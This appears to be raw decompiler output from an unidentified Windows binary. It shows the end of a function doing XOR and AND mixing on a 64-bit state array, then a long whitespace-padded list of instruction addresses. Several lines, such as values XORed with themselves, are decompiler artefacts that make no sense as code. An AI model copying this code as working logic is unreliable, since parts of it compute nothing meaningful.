					 *(_t2143 + 0x74 + _t1728 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1729 = _v16;
					_t1923 = _a4;
					_v12 = _v12 ^  *(_t1923 + _t1729 * 8 - 0x250);
					_v8 = _v8 ^  *(_t1923 + _t1729 * 8 - 0x24c);
					_t1730 = _v16;
					_t1924 = _a4;
					_v12 = _v12 ^  *(_t1924 + _t1730 * 8 - 0x10);
					_v8 = _v8 ^  *(_t1924 + _t1730 * 8 - 0xc);
					_t1731 = _v16;
					_t1925 = _a4;
					_t1567 = _v16;
					_t2148 = _a4;
					_v12 =  *(_t1925 + _t1731 * 8 - 0x18) &  *(_t2148 + _t1567 * 8 - 0x30) ^ _v12;
					_v8 =  *(_t1925 + _t1731 * 8 - 0x14) &  *(_t2148 + _t1567 * 8 - 0x2c) ^ _v8;
					_t1926 = _v16;
					_t1568 = _a4;
					_t1735 = _v16;
					_t2149 = _a4;
					_v12 =  *(_t1568 + _t1926 * 8 - 0x80) &  *(_t2149 + _t1735 * 8 - 0x1a0) ^ _v12;
					_v8 =  *(_t1568 + _t1926 * 8 - 0x7c) &  *(_t2149 + _t1735 * 8 - 0x19c) ^ _v8;
					L0040ECE8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040ECEE();
					_t1738 = _v16;
					_t2150 = _a4;
					 *(_t2150 + 0x78 + _t1738 * 8) = _v12 ^ _v12;
					 *(_t2150 + 0x7c + _t1738 * 8) = _v8 ^ _v8;
					L0040ECEE();
					L0040ECE8();
					_v28 = _v28 ^ _v28 ^ _v28 &  *0x4110f8;
					_v24 = _v24 ^ _v24 ^ _v24 &  *0x4110fc;
					_v16 = _v16 + 0x10;
					_v32 = _v32 + 0x10;
				}
				return _t1396;
			}












































































































































































































































                                                                                                                                                                                                                                                                                                                                                      0x00406508
                                                                                                                                                                                                                                                                                                                                                      0x0040650d
                                                                                                                                                                                                                                                                                                                                                      0x00406510
                                                                                                                                                                                                                                                                                                                                                      0x00406516
                                                                                                                                                                                                                                                                                                                                                      0x00406519
                                                                                                                                                                                                                                                                                                                                                      0x00406520
                                                                                                                                                                                                                                                                                                                                                      0x00406532
                                                                                                                                                                                                                                                                                                                                                      0x00406535
                                                                                                                                                                                                                                                                                                                                                      0x0040653b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406544
                                                                                                                                                                                                                                                                                                                                                      0x0040654a
                                                                                                                                                                                                                                                                                                                                                      0x0040654d
                                                                                                                                                                                                                                                                                                                                                      0x00406550
                                                                                                                                                                                                                                                                                                                                                      0x00406567
                                                                                                                                                                                                                                                                                                                                                      0x0040656a
                                                                                                                                                                                                                                                                                                                                                      0x0040656d
                                                                                                                                                                                                                                                                                                                                                      0x00406570
                                                                                                                                                                                                                                                                                                                                                      0x00406587
                                                                                                                                                                                                                                                                                                                                                      0x0040658a
                                                                                                                                                                                                                                                                                                                                                      0x0040658d
                                                                                                                                                                                                                                                                                                                                                      0x00406590
                                                                                                                                                                                                                                                                                                                                                      0x00406593
                                                                                                                                                                                                                                                                                                                                                      0x00406596
                                                                                                                                                                                                                                                                                                                                                      0x004065bb
                                                                                                                                                                                                                                                                                                                                                      0x004065be
                                                                                                                                                                                                                                                                                                                                                      0x004065c1
                                                                                                                                                                                                                                                                                                                                                      0x004065c4
                                                                                                                                                                                                                                                                                                                                                      0x004065c7
                                                                                                                                                                                                                                                                                                                                                      0x004065ca
                                                                                                                                                                                                                                                                                                                                                      0x004065ef
                                                                                                                                                                                                                                                                                                                                                      0x004065f2
                                                                                                                                                                                                                                                                                                                                                      0x004065fd
                                                                                                                                                                                                                                                                                                                                                      0x00406608
                                                                                                                                                                                                                                                                                                                                                      0x0040660b
                                                                                                                                                                                                                                                                                                                                                      0x00406616
                                                                                                                                                                                                                                                                                                                                                      0x00406621
                                                                                                                                                                                                                                                                                                                                                      0x00406624
                                                                                                                                                                                                                                                                                                                                                      0x00406627
                                                                                                                                                                                                                                                                                                                                                      0x0040662a
                                                                                                                                                                                                                                                                                                                                                      0x00406631
                                                                                                                                                                                                                                                                                                                                                      0x00406637
                                                                                                                                                                                                                                                                                                                                                      0x0040663a
                                                                                                                                                                                                                                                                                                                                                      0x0040663d
                                                                                                                                                                                                                                                                                                                                                      0x00406654
                                                                                                                                                                                                                                                                                                                                                      0x00406657
                                                                                                                                                                                                                                                                                                                                                      0x0040665a
                                                                                                                                                                                                                                                                                                                                                      0x0040665d
                                                                                                                                                                                                                                                                                                                                                      0x0040666e
                                                                                                                                                                                                                                                                                                                                                      0x00406671
                                                                                                                                                                                                                                                                                                                                                      0x00406674
                                                                                                                                                                                                                                                                                                                                                      0x00406677
                                                                                                                                                                                                                                                                                                                                                      0x0040667a
                                                                                                                                                                                                                                                                                                                                                      0x0040667d
                                                                                                                                                                                                                                                                                                                                                      0x004066a2
                                                                                                                                                                                                                                                                                                                                                      0x004066a5
                                                                                                                                                                                                                                                                                                                                                      0x004066a8
                                                                                                                                                                                                                                                                                                                                                      0x004066ab
                                                                                                                                                                                                                                                                                                                                                      0x004066ae
                                                                                                                                                                                                                                                                                                                                                      0x004066b1
                                                                                                                                                                                                                                                                                                                                                      0x004066d6
                                                                                                                                                                                                                                                                                                                                                      0x004066d9
                                                                                                                                                                                                                                                                                                                                                      0x004066e4
                                                                                                                                                                                                                                                                                                                                                      0x004066ef
                                                                                                                                                                                                                                                                                                                                                      0x004066f2
                                                                                                                                                                                                                                                                                                                                                      0x004066fd
                                                                                                                                                                                                                                                                                                                                                      0x00406708
                                                                                                                                                                                                                                                                                                                                                      0x0040670b
                                                                                                                                                                                                                                                                                                                                                      0x0040670e
                                                                                                                                                                                                                                                                                                                                                      0x00406712
                                                                                                                                                                                                                                                                                                                                                      0x00406719
                                                                                                                                                                                                                                                                                                                                                      0x0040671f
                                                                                                                                                                                                                                                                                                                                                      0x00406722
                                                                                                                                                                                                                                                                                                                                                      0x00406725
                                                                                                                                                                                                                                                                                                                                                      0x0040673c
                                                                                                                                                                                                                                                                                                                                                      0x0040673f
                                                                                                                                                                                                                                                                                                                                                      0x00406742
                                                                                                                                                                                                                                                                                                                                                      0x00406745
                                                                                                                                                                                                                                                                                                                                                      0x00406756
                                                                                                                                                                                                                                                                                                                                                      0x00406759
                                                                                                                                                                                                                                                                                                                                                      0x0040675c
                                                                                                                                                                                                                                                                                                                                                      0x0040675f
                                                                                                                                                                                                                                                                                                                                                      0x00406762
                                                                                                                                                                                                                                                                                                                                                      0x00406765
                                                                                                                                                                                                                                                                                                                                                      0x00406784
                                                                                                                                                                                                                                                                                                                                                      0x00406787
                                                                                                                                                                                                                                                                                                                                                      0x0040678a
                                                                                                                                                                                                                                                                                                                                                      0x0040678d
                                                                                                                                                                                                                                                                                                                                                      0x00406790
                                                                                                                                                                                                                                                                                                                                                      0x00406793
                                                                                                                                                                                                                                                                                                                                                      0x004067b8
                                                                                                                                                                                                                                                                                                                                                      0x004067bb
                                                                                                                                                                                                                                                                                                                                                      0x004067c6
                                                                                                                                                                                                                                                                                                                                                      0x004067d1
                                                                                                                                                                                                                                                                                                                                                      0x004067d4
                                                                                                                                                                                                                                                                                                                                                      0x004067df
                                                                                                                                                                                                                                                                                                                                                      0x004067ea
                                                                                                                                                                                                                                                                                                                                                      0x004067ed
                                                                                                                                                                                                                                                                                                                                                      0x004067f0
                                                                                                                                                                                                                                                                                                                                                      0x004067f4
                                                                                                                                                                                                                                                                                                                                                      0x004067fb
                                                                                                                                                                                                                                                                                                                                                      0x00406801
                                                                                                                                                                                                                                                                                                                                                      0x00406804
                                                                                                                                                                                                                                                                                                                                                      0x00406807
                                                                                                                                                                                                                                                                                                                                                      0x0040681e
                                                                                                                                                                                                                                                                                                                                                      0x00406821
                                                                                                                                                                                                                                                                                                                                                      0x00406824
                                                                                                                                                                                                                                                                                                                                                      0x00406827
                                                                                                                                                                                                                                                                                                                                                      0x00406838
                                                                                                                                                                                                                                                                                                                                                      0x0040683b
                                                                                                                                                                                                                                                                                                                                                      0x0040683e
                                                                                                                                                                                                                                                                                                                                                      0x00406841
                                                                                                                                                                                                                                                                                                                                                      0x00406844
                                                                                                                                                                                                                                                                                                                                                      0x00406847
                                                                                                                                                                                                                                                                                                                                                      0x00406866
                                                                                                                                                                                                                                                                                                                                                      0x00406869
                                                                                                                                                                                                                                                                                                                                                      0x0040686c
                                                                                                                                                                                                                                                                                                                                                      0x0040686f
                                                                                                                                                                                                                                                                                                                                                      0x00406872
                                                                                                                                                                                                                                                                                                                                                      0x00406875
                                                                                                                                                                                                                                                                                                                                                      0x0040689a
                                                                                                                                                                                                                                                                                                                                                      0x0040689d
                                                                                                                                                                                                                                                                                                                                                      0x004068a8
                                                                                                                                                                                                                                                                                                                                                      0x004068b3
                                                                                                                                                                                                                                                                                                                                                      0x004068b6
                                                                                                                                                                                                                                                                                                                                                      0x004068c1
                                                                                                                                                                                                                                                                                                                                                      0x004068cc
                                                                                                                                                                                                                                                                                                                                                      0x004068cf
                                                                                                                                                                                                                                                                                                                                                      0x004068d2
                                                                                                                                                                                                                                                                                                                                                      0x004068d6
                                                                                                                                                                                                                                                                                                                                                      0x004068dd
                                                                                                                                                                                                                                                                                                                                                      0x004068e3
                                                                                                                                                                                                                                                                                                                                                      0x004068e6
                                                                                                                                                                                                                                                                                                                                                      0x004068e9
                                                                                                                                                                                                                                                                                                                                                      0x00406900
                                                                                                                                                                                                                                                                                                                                                      0x00406903
                                                                                                                                                                                                                                                                                                                                                      0x00406906
                                                                                                                                                                                                                                                                                                                                                      0x00406909
                                                                                                                                                                                                                                                                                                                                                      0x0040691a
                                                                                                                                                                                                                                                                                                                                                      0x0040691d
                                                                                                                                                                                                                                                                                                                                                      0x00406920
                                                                                                                                                                                                                                                                                                                                                      0x00406923
                                                                                                                                                                                                                                                                                                                                                      0x00406926
                                                                                                                                                                                                                                                                                                                                                      0x00406929
                                                                                                                                                                                                                                                                                                                                                      0x00406948
                                                                                                                                                                                                                                                                                                                                                      0x0040694b
                                                                                                                                                                                                                                                                                                                                                      0x0040694e
                                                                                                                                                                                                                                                                                                                                                      0x00406951
                                                                                                                                                                                                                                                                                                                                                      0x00406954
                                                                                                                                                                                                                                                                                                                                                      0x00406957
                                                                                                                                                                                                                                                                                                                                                      0x0040697c
                                                                                                                                                                                                                                                                                                                                                      0x0040697f
                                                                                                                                                                                                                                                                                                                                                      0x0040698a
                                                                                                                                                                                                                                                                                                                                                      0x00406995
                                                                                                                                                                                                                                                                                                                                                      0x00406998
                                                                                                                                                                                                                                                                                                                                                      0x004069a3
                                                                                                                                                                                                                                                                                                                                                      0x004069ae
                                                                                                                                                                                                                                                                                                                                                      0x004069b1
                                                                                                                                                                                                                                                                                                                                                      0x004069b4
                                                                                                                                                                                                                                                                                                                                                      0x004069b8
                                                                                                                                                                                                                                                                                                                                                      0x004069bf
                                                                                                                                                                                                                                                                                                                                                      0x004069c5
                                                                                                                                                                                                                                                                                                                                                      0x004069c8
                                                                                                                                                                                                                                                                                                                                                      0x004069cb
                                                                                                                                                                                                                                                                                                                                                      0x004069e2
                                                                                                                                                                                                                                                                                                                                                      0x004069e5
                                                                                                                                                                                                                                                                                                                                                      0x004069e8
                                                                                                                                                                                                                                                                                                                                                      0x004069eb
                                                                                                                                                                                                                                                                                                                                                      0x004069fc
                                                                                                                                                                                                                                                                                                                                                      0x004069ff
                                                                                                                                                                                                                                                                                                                                                      0x00406a02
                                                                                                                                                                                                                                                                                                                                                      0x00406a05
                                                                                                                                                                                                                                                                                                                                                      0x00406a08
                                                                                                                                                                                                                                                                                                                                                      0x00406a0b
                                                                                                                                                                                                                                                                                                                                                      0x00406a24
                                                                                                                                                                                                                                                                                                                                                      0x00406a27
                                                                                                                                                                                                                                                                                                                                                      0x00406a2a
                                                                                                                                                                                                                                                                                                                                                      0x00406a2d
                                                                                                                                                                                                                                                                                                                                                      0x00406a30
                                                                                                                                                                                                                                                                                                                                                      0x00406a33
                                                                                                                                                                                                                                                                                                                                                      0x00406a58
                                                                                                                                                                                                                                                                                                                                                      0x00406a5b
                                                                                                                                                                                                                                                                                                                                                      0x00406a66
                                                                                                                                                                                                                                                                                                                                                      0x00406a71
                                                                                                                                                                                                                                                                                                                                                      0x00406a74
                                                                                                                                                                                                                                                                                                                                                      0x00406a7f
                                                                                                                                                                                                                                                                                                                                                      0x00406a8a
                                                                                                                                                                                                                                                                                                                                                      0x00406a8d
                                                                                                                                                                                                                                                                                                                                                      0x00406a90
                                                                                                                                                                                                                                                                                                                                                      0x00406a94
                                                                                                                                                                                                                                                                                                                                                      0x00406a9b
                                                                                                                                                                                                                                                                                                                                                      0x00406aa1
                                                                                                                                                                                                                                                                                                                                                      0x00406aa4
                                                                                                                                                                                                                                                                                                                                                      0x00406aa7
                                                                                                                                                                                                                                                                                                                                                      0x00406abe
                                                                                                                                                                                                                                                                                                                                                      0x00406ac1
                                                                                                                                                                                                                                                                                                                                                      0x00406ac4
                                                                                                                                                                                                                                                                                                                                                      0x00406ac7
                                                                                                                                                                                                                                                                                                                                                      0x00406ad8
                                                                                                                                                                                                                                                                                                                                                      0x00406adb
                                                                                                                                                                                                                                                                                                                                                      0x00406ade
                                                                                                                                                                                                                                                                                                                                                      0x00406ae1
                                                                                                                                                                                                                                                                                                                                                      0x00406ae4
                                                                                                                                                                                                                                                                                                                                                      0x00406ae7
                                                                                                                                                                                                                                                                                                                                                      0x00406b00
                                                                                                                                                                                                                                                                                                                                                      0x00406b03
                                                                                                                                                                                                                                                                                                                                                      0x00406b06
                                                                                                                                                                                                                                                                                                                                                      0x00406b09
                                                                                                                                                                                                                                                                                                                                                      0x00406b0c
                                                                                                                                                                                                                                                                                                                                                      0x00406b0f
                                                                                                                                                                                                                                                                                                                                                      0x00406b34
                                                                                                                                                                                                                                                                                                                                                      0x00406b37
                                                                                                                                                                                                                                                                                                                                                      0x00406b42
                                                                                                                                                                                                                                                                                                                                                      0x00406b4d
                                                                                                                                                                                                                                                                                                                                                      0x00406b50
                                                                                                                                                                                                                                                                                                                                                      0x00406b5b
                                                                                                                                                                                                                                                                                                                                                      0x00406b66
                                                                                                                                                                                                                                                                                                                                                      0x00406b69
                                                                                                                                                                                                                                                                                                                                                      0x00406b6c
                                                                                                                                                                                                                                                                                                                                                      0x00406b70
                                                                                                                                                                                                                                                                                                                                                      0x00406b77
                                                                                                                                                                                                                                                                                                                                                      0x00406b7d
                                                                                                                                                                                                                                                                                                                                                      0x00406b80
                                                                                                                                                                                                                                                                                                                                                      0x00406b83
                                                                                                                                                                                                                                                                                                                                                      0x00406b9a
                                                                                                                                                                                                                                                                                                                                                      0x00406b9d
                                                                                                                                                                                                                                                                                                                                                      0x00406ba0
                                                                                                                                                                                                                                                                                                                                                      0x00406ba3
                                                                                                                                                                                                                                                                                                                                                      0x00406bb4
                                                                                                                                                                                                                                                                                                                                                      0x00406bb7
                                                                                                                                                                                                                                                                                                                                                      0x00406bba
                                                                                                                                                                                                                                                                                                                                                      0x00406bbd
                                                                                                                                                                                                                                                                                                                                                      0x00406bc0
                                                                                                                                                                                                                                                                                                                                                      0x00406bc3
                                                                                                                                                                                                                                                                                                                                                      0x00406bdc
                                                                                                                                                                                                                                                                                                                                                      0x00406bdf
                                                                                                                                                                                                                                                                                                                                                      0x00406be2
                                                                                                                                                                                                                                                                                                                                                      0x00406be5
                                                                                                                                                                                                                                                                                                                                                      0x00406be8
                                                                                                                                                                                                                                                                                                                                                      0x00406beb
                                                                                                                                                                                                                                                                                                                                                      0x00406c10
                                                                                                                                                                                                                                                                                                                                                      0x00406c13
                                                                                                                                                                                                                                                                                                                                                      0x00406c1e
                                                                                                                                                                                                                                                                                                                                                      0x00406c29
                                                                                                                                                                                                                                                                                                                                                      0x00406c2c
                                                                                                                                                                                                                                                                                                                                                      0x00406c37
                                                                                                                                                                                                                                                                                                                                                      0x00406c42
                                                                                                                                                                                                                                                                                                                                                      0x00406c45
                                                                                                                                                                                                                                                                                                                                                      0x00406c48
                                                                                                                                                                                                                                                                                                                                                      0x00406c4c
                                                                                                                                                                                                                                                                                                                                                      0x00406c53
                                                                                                                                                                                                                                                                                                                                                      0x00406c59
                                                                                                                                                                                                                                                                                                                                                      0x00406c5c
                                                                                                                                                                                                                                                                                                                                                      0x00406c5f
                                                                                                                                                                                                                                                                                                                                                      0x00406c76
                                                                                                                                                                                                                                                                                                                                                      0x00406c79
                                                                                                                                                                                                                                                                                                                                                      0x00406c7c
                                                                                                                                                                                                                                                                                                                                                      0x00406c7f
                                                                                                                                                                                                                                                                                                                                                      0x00406c90
                                                                                                                                                                                                                                                                                                                                                      0x00406c93
                                                                                                                                                                                                                                                                                                                                                      0x00406c96
                                                                                                                                                                                                                                                                                                                                                      0x00406c99
                                                                                                                                                                                                                                                                                                                                                      0x00406c9c
                                                                                                                                                                                                                                                                                                                                                      0x00406c9f
                                                                                                                                                                                                                                                                                                                                                      0x00406cb8
                                                                                                                                                                                                                                                                                                                                                      0x00406cbb
                                                                                                                                                                                                                                                                                                                                                      0x00406cbe
                                                                                                                                                                                                                                                                                                                                                      0x00406cc1
                                                                                                                                                                                                                                                                                                                                                      0x00406cc4
                                                                                                                                                                                                                                                                                                                                                      0x00406cc7
                                                                                                                                                                                                                                                                                                                                                      0x00406cec
                                                                                                                                                                                                                                                                                                                                                      0x00406cef
                                                                                                                                                                                                                                                                                                                                                      0x00406cfa
                                                                                                                                                                                                                                                                                                                                                      0x00406d05
                                                                                                                                                                                                                                                                                                                                                      0x00406d08
                                                                                                                                                                                                                                                                                                                                                      0x00406d13
                                                                                                                                                                                                                                                                                                                                                      0x00406d1e
                                                                                                                                                                                                                                                                                                                                                      0x00406d21
                                                                                                                                                                                                                                                                                                                                                      0x00406d24
                                                                                                                                                                                                                                                                                                                                                      0x00406d28
                                                                                                                                                                                                                                                                                                                                                      0x00406d2f
                                                                                                                                                                                                                                                                                                                                                      0x00406d35
                                                                                                                                                                                                                                                                                                                                                      0x00406d38
                                                                                                                                                                                                                                                                                                                                                      0x00406d3b
                                                                                                                                                                                                                                                                                                                                                      0x00406d52
                                                                                                                                                                                                                                                                                                                                                      0x00406d55
                                                                                                                                                                                                                                                                                                                                                      0x00406d58
                                                                                                                                                                                                                                                                                                                                                      0x00406d5b
                                                                                                                                                                                                                                                                                                                                                      0x00406d6c
                                                                                                                                                                                                                                                                                                                                                      0x00406d6f
                                                                                                                                                                                                                                                                                                                                                      0x00406d72
                                                                                                                                                                                                                                                                                                                                                      0x00406d75
                                                                                                                                                                                                                                                                                                                                                      0x00406d78
                                                                                                                                                                                                                                                                                                                                                      0x00406d7b
                                                                                                                                                                                                                                                                                                                                                      0x00406d94
                                                                                                                                                                                                                                                                                                                                                      0x00406d97
                                                                                                                                                                                                                                                                                                                                                      0x00406d9a
                                                                                                                                                                                                                                                                                                                                                      0x00406d9d
                                                                                                                                                                                                                                                                                                                                                      0x00406da0
                                                                                                                                                                                                                                                                                                                                                      0x00406da3
                                                                                                                                                                                                                                                                                                                                                      0x00406dc8
                                                                                                                                                                                                                                                                                                                                                      0x00406dcb
                                                                                                                                                                                                                                                                                                                                                      0x00406dd6
                                                                                                                                                                                                                                                                                                                                                      0x00406de1
                                                                                                                                                                                                                                                                                                                                                      0x00406de4
                                                                                                                                                                                                                                                                                                                                                      0x00406def
                                                                                                                                                                                                                                                                                                                                                      0x00406dfa
                                                                                                                                                                                                                                                                                                                                                      0x00406dfd
                                                                                                                                                                                                                                                                                                                                                      0x00406e00
                                                                                                                                                                                                                                                                                                                                                      0x00406e04
                                                                                                                                                                                                                                                                                                                                                      0x00406e0b
                                                                                                                                                                                                                                                                                                                                                      0x00406e11
                                                                                                                                                                                                                                                                                                                                                      0x00406e14
                                                                                                                                                                                                                                                                                                                                                      0x00406e17
                                                                                                                                                                                                                                                                                                                                                      0x00406e2e
                                                                                                                                                                                                                                                                                                                                                      0x00406e31
                                                                                                                                                                                                                                                                                                                                                      0x00406e34
                                                                                                                                                                                                                                                                                                                                                      0x00406e37
                                                                                                                                                                                                                                                                                                                                                      0x00406e48
                                                                                                                                                                                                                                                                                                                                                      0x00406e4b
                                                                                                                                                                                                                                                                                                                                                      0x00406e4e
                                                                                                                                                                                                                                                                                                                                                      0x00406e51
                                                                                                                                                                                                                                                                                                                                                      0x00406e54
                                                                                                                                                                                                                                                                                                                                                      0x00406e57
                                                                                                                                                                                                                                                                                                                                                      0x00406e70
                                                                                                                                                                                                                                                                                                                                                      0x00406e73
                                                                                                                                                                                                                                                                                                                                                      0x00406e76
                                                                                                                                                                                                                                                                                                                                                      0x00406e79
                                                                                                                                                                                                                                                                                                                                                      0x00406e7c
                                                                                                                                                                                                                                                                                                                                                      0x00406e7f
                                                                                                                                                                                                                                                                                                                                                      0x00406ea4
                                                                                                                                                                                                                                                                                                                                                      0x00406ea7
                                                                                                                                                                                                                                                                                                                                                      0x00406eb2
                                                                                                                                                                                                                                                                                                                                                      0x00406ebd
                                                                                                                                                                                                                                                                                                                                                      0x00406ec0
                                                                                                                                                                                                                                                                                                                                                      0x00406ecb
                                                                                                                                                                                                                                                                                                                                                      0x00406ed6
                                                                                                                                                                                                                                                                                                                                                      0x00406ed9
                                                                                                                                                                                                                                                                                                                                                      0x00406edc
                                                                                                                                                                                                                                                                                                                                                      0x00406ee0
                                                                                                                                                                                                                                                                                                                                                      0x00406ee7
                                                                                                                                                                                                                                                                                                                                                      0x00406eed
                                                                                                                                                                                                                                                                                                                                                      0x00406ef0
                                                                                                                                                                                                                                                                                                                                                      0x00406ef3
                                                                                                                                                                                                                                                                                                                                                      0x00406f0a
                                                                                                                                                                                                                                                                                                                                                      0x00406f0d
                                                                                                                                                                                                                                                                                                                                                      0x00406f10
                                                                                                                                                                                                                                                                                                                                                      0x00406f13
                                                                                                                                                                                                                                                                                                                                                      0x00406f24
                                                                                                                                                                                                                                                                                                                                                      0x00406f27
                                                                                                                                                                                                                                                                                                                                                      0x00406f2a
                                                                                                                                                                                                                                                                                                                                                      0x00406f2d
                                                                                                                                                                                                                                                                                                                                                      0x00406f30
                                                                                                                                                                                                                                                                                                                                                      0x00406f33
                                                                                                                                                                                                                                                                                                                                                      0x00406f4c
                                                                                                                                                                                                                                                                                                                                                      0x00406f4f
                                                                                                                                                                                                                                                                                                                                                      0x00406f52
                                                                                                                                                                                                                                                                                                                                                      0x00406f55
                                                                                                                                                                                                                                                                                                                                                      0x00406f58
                                                                                                                                                                                                                                                                                                                                                      0x00406f5b
                                                                                                                                                                                                                                                                                                                                                      0x00406f80
                                                                                                                                                                                                                                                                                                                                                      0x00406f83
                                                                                                                                                                                                                                                                                                                                                      0x00406f8e
                                                                                                                                                                                                                                                                                                                                                      0x00406f99
                                                                                                                                                                                                                                                                                                                                                      0x00406f9c
                                                                                                                                                                                                                                                                                                                                                      0x00406fa7
                                                                                                                                                                                                                                                                                                                                                      0x00406fb2
                                                                                                                                                                                                                                                                                                                                                      0x00406fb5
                                                                                                                                                                                                                                                                                                                                                      0x00406fb8
                                                                                                                                                                                                                                                                                                                                                      0x00406fbc
                                                                                                                                                                                                                                                                                                                                                      0x00406fc3
                                                                                                                                                                                                                                                                                                                                                      0x00406fc9
                                                                                                                                                                                                                                                                                                                                                      0x00406fcc
                                                                                                                                                                                                                                                                                                                                                      0x00406fcf
                                                                                                                                                                                                                                                                                                                                                      0x00406fe6
                                                                                                                                                                                                                                                                                                                                                      0x00406fe9
                                                                                                                                                                                                                                                                                                                                                      0x00406fec
                                                                                                                                                                                                                                                                                                                                                      0x00406fef
                                                                                                                                                                                                                                                                                                                                                      0x00407000
                                                                                                                                                                                                                                                                                                                                                      0x00407003
                                                                                                                                                                                                                                                                                                                                                      0x00407006
                                                                                                                                                                                                                                                                                                                                                      0x00407009
                                                                                                                                                                                                                                                                                                                                                      0x0040700c
                                                                                                                                                                                                                                                                                                                                                      0x0040700f
                                                                                                                                                                                                                                                                                                                                                      0x00407028
                                                                                                                                                                                                                                                                                                                                                      0x0040702b
                                                                                                                                                                                                                                                                                                                                                      0x0040702e
                                                                                                                                                                                                                                                                                                                                                      0x00407031
                                                                                                                                                                                                                                                                                                                                                      0x00407034
                                                                                                                                                                                                                                                                                                                                                      0x00407037
                                                                                                                                                                                                                                                                                                                                                      0x0040705c
                                                                                                                                                                                                                                                                                                                                                      0x0040705f
                                                                                                                                                                                                                                                                                                                                                      0x0040706a
                                                                                                                                                                                                                                                                                                                                                      0x00407075
                                                                                                                                                                                                                                                                                                                                                      0x00407078
                                                                                                                                                                                                                                                                                                                                                      0x00407083
                                                                                                                                                                                                                                                                                                                                                      0x0040708e
                                                                                                                                                                                                                                                                                                                                                      0x00407091
                                                                                                                                                                                                                                                                                                                                                      0x00407094
                                                                                                                                                                                                                                                                                                                                                      0x00407098
                                                                                                                                                                                                                                                                                                                                                      0x0040709f
                                                                                                                                                                                                                                                                                                                                                      0x004070a5
                                                                                                                                                                                                                                                                                                                                                      0x004070a8
                                                                                                                                                                                                                                                                                                                                                      0x004070ab
                                                                                                                                                                                                                                                                                                                                                      0x004070c2
                                                                                                                                                                                                                                                                                                                                                      0x004070c5
                                                                                                                                                                                                                                                                                                                                                      0x004070c8
                                                                                                                                                                                                                                                                                                                                                      0x004070cb
                                                                                                                                                                                                                                                                                                                                                      0x004070dc
                                                                                                                                                                                                                                                                                                                                                      0x004070df
                                                                                                                                                                                                                                                                                                                                                      0x004070e2
                                                                                                                                                                                                                                                                                                                                                      0x004070e5
                                                                                                                                                                                                                                                                                                                                                      0x004070e8
                                                                                                                                                                                                                                                                                                                                                      0x004070eb
                                                                                                                                                                                                                                                                                                                                                      0x00407104
                                                                                                                                                                                                                                                                                                                                                      0x00407107
                                                                                                                                                                                                                                                                                                                                                      0x0040710a
                                                                                                                                                                                                                                                                                                                                                      0x0040710d
                                                                                                                                                                                                                                                                                                                                                      0x00407110
                                                                                                                                                                                                                                                                                                                                                      0x00407113
                                                                                                                                                                                                                                                                                                                                                      0x00407138
                                                                                                                                                                                                                                                                                                                                                      0x0040713b
                                                                                                                                                                                                                                                                                                                                                      0x00407146
                                                                                                                                                                                                                                                                                                                                                      0x00407151
                                                                                                                                                                                                                                                                                                                                                      0x00407154
                                                                                                                                                                                                                                                                                                                                                      0x0040715f
                                                                                                                                                                                                                                                                                                                                                      0x0040716a
                                                                                                                                                                                                                                                                                                                                                      0x0040716d
                                                                                                                                                                                                                                                                                                                                                      0x00407170
                                                                                                                                                                                                                                                                                                                                                      0x00407174
                                                                                                                                                                                                                                                                                                                                                      0x0040717b
                                                                                                                                                                                                                                                                                                                                                      0x00407181
                                                                                                                                                                                                                                                                                                                                                      0x00407184
                                                                                                                                                                                                                                                                                                                                                      0x00407187
                                                                                                                                                                                                                                                                                                                                                      0x0040719e
                                                                                                                                                                                                                                                                                                                                                      0x004071a1
                                                                                                                                                                                                                                                                                                                                                      0x004071a4
                                                                                                                                                                                                                                                                                                                                                      0x004071a7
                                                                                                                                                                                                                                                                                                                                                      0x004071b8
                                                                                                                                                                                                                                                                                                                                                      0x004071bb
                                                                                                                                                                                                                                                                                                                                                      0x004071be
                                                                                                                                                                                                                                                                                                                                                      0x004071c1
                                                                                                                                                                                                                                                                                                                                                      0x004071c4
                                                                                                                                                                                                                                                                                                                                                      0x004071c7
                                                                                                                                                                                                                                                                                                                                                      0x004071e0
                                                                                                                                                                                                                                                                                                                                                      0x004071e3
                                                                                                                                                                                                                                                                                                                                                      0x004071e6
                                                                                                                                                                                                                                                                                                                                                      0x004071e9
                                                                                                                                                                                                                                                                                                                                                      0x004071ec
                                                                                                                                                                                                                                                                                                                                                      0x004071ef
                                                                                                                                                                                                                                                                                                                                                      0x00407214
                                                                                                                                                                                                                                                                                                                                                      0x00407217
                                                                                                                                                                                                                                                                                                                                                      0x00407222
                                                                                                                                                                                                                                                                                                                                                      0x0040722d
                                                                                                                                                                                                                                                                                                                                                      0x00407230
                                                                                                                                                                                                                                                                                                                                                      0x0040723b
                                                                                                                                                                                                                                                                                                                                                      0x00407246
                                                                                                                                                                                                                                                                                                                                                      0x00407249
                                                                                                                                                                                                                                                                                                                                                      0x0040724c
                                                                                                                                                                                                                                                                                                                                                      0x00407250
                                                                                                                                                                                                                                                                                                                                                      0x00407257
                                                                                                                                                                                                                                                                                                                                                      0x0040725d
                                                                                                                                                                                                                                                                                                                                                      0x00407260
                                                                                                                                                                                                                                                                                                                                                      0x00407263
                                                                                                                                                                                                                                                                                                                                                      0x0040727a
                                                                                                                                                                                                                                                                                                                                                      0x0040727d
                                                                                                                                                                                                                                                                                                                                                      0x00407280
                                                                                                                                                                                                                                                                                                                                                      0x00407283
                                                                                                                                                                                                                                                                                                                                                      0x00407294
                                                                                                                                                                                                                                                                                                                                                      0x00407297
                                                                                                                                                                                                                                                                                                                                                      0x0040729a
                                                                                                                                                                                                                                                                                                                                                      0x0040729d
                                                                                                                                                                                                                                                                                                                                                      0x004072a0
                                                                                                                                                                                                                                                                                                                                                      0x004072a3
                                                                                                                                                                                                                                                                                                                                                      0x004072bc
                                                                                                                                                                                                                                                                                                                                                      0x004072bf
                                                                                                                                                                                                                                                                                                                                                      0x004072c2
                                                                                                                                                                                                                                                                                                                                                      0x004072c5
                                                                                                                                                                                                                                                                                                                                                      0x004072c8
                                                                                                                                                                                                                                                                                                                                                      0x004072cb
                                                                                                                                                                                                                                                                                                                                                      0x004072ea
                                                                                                                                                                                                                                                                                                                                                      0x004072ed
                                                                                                                                                                                                                                                                                                                                                      0x004072f8
                                                                                                                                                                                                                                                                                                                                                      0x00407303
                                                                                                                                                                                                                                                                                                                                                      0x00407306
